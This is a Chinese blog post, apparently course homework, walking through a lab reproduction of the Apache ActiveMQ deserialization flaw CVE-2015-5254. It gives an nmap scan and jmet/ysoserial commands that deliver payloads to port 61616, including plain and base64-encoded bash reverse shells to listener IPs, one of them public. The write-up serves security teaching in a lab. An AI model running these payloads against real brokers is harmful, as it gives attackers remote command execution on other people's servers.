阿一网络安全学院课堂作业——ActiveMQ 反序列化漏洞 (CVE-2015-5254)

⼀、漏洞描述
Apache ActiveMQ 是由美国阿帕奇(Apache)软件基⾦会开发的开源消息中间件,⽀持 Java 消息服
务、集群、Spring 框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应⽤
耦合、异步消息、流量削峰等)。
⼆、漏洞成因
Apache ActiveMQ 5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的
类。远程攻击者可以制作⼀个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象,利⽤该漏洞执
⾏任意代码。
三、影响版本
Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
四、利⽤限制
1.版本符合
2.⽴即执⾏代码:能够通过弱密码登录查看消息队列
3.没有查看队列所有消息的⽤户名和密码下,只能管理员/⽤户去点击我们插⼊的消息才能触发(⽐较鸡
肋,但可以写⼊创建⽤户命令等待管理员点击查看,概率很⼤!)
java要求:jdk1.8
安装教程: https://blog.csdn.net/Deadly_97/article/details/111657908
压缩包安装
java1.8环境配置
vim /stc/profile
命令⾏
vulhub漏洞复现】ActiveMQ 反序列化漏洞 (CVE-
2015-5254)
JAVA_HOME=/usr/local/java/jdk1.8.0_161
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
1
2
3
4
Plain Text 1、
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac"
"/usr/local/java/jdk1.8.0_202/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws"
"/usr/local/java/jdk1.8.0_202/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws"
"/usr/local/java/jdk1.8.0_202/bin/javaws" 1
2、
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_202/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_202/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_202/bin/javaws
jmet 安装:
#下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
#创建external⽬录
mkdir external
靶场教程: https://blog.csdn.net/hellohahi/article/details/122418168
在浏览器输⼊靶机ip打开环境web⽹⻚:密码admin/admin
使⽤⼯具:nmap
使⽤命令:nmap -p- -A -O 192.168.110.145(需切换到root在执⾏)
执⾏环境:虚拟机中kali
通过nmap扫描⽬标靶机端⼝和服务版本信息,发现⽬标开放的61616端⼝上承载apachemq ActiveMQ
服务
在阿⾥云中操作:(报错⽆法执⾏)
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME
192.168.110.145 61616(靶机ip)
10 【命令解释】:调⽤java -jar 运⾏ jmet的jar包,-Q是插⼊⼀个名为event的队列,-I 是选择装载
ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利⽤链,这是
选择是ROME, 之后带上IP加端⼝。
上述问题成因:靶场搭在虚拟机,虚拟机上ip为内⽹;阿⾥云ip为公⽹,公⽹⽆法找到内⽹ip,所以不成
功。
所以,在虚拟中另⼀个kali中操作:
docker exec -it cve- 2015 -5254_activemq_1 /bin/bash
阿⾥云内指令:
bash -i >& /dev/tcp/192.168.110.133/4444 0>&1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xMzMvNDQ0NCAwPiYx}|{base64,-d}|
{bash,-i}" -Yp ROME 192.168.110.145 61616
虚拟机中kali:
bash -i >& /dev/tcp/218.244.159.113/9999 0>&1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yMTguMjQ0LjE1OS4xMTMvOTk5OSAwPiYx}|{base64,-d}|
{bash,-i}" -Yp ROME 192.168.110.145 61616
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值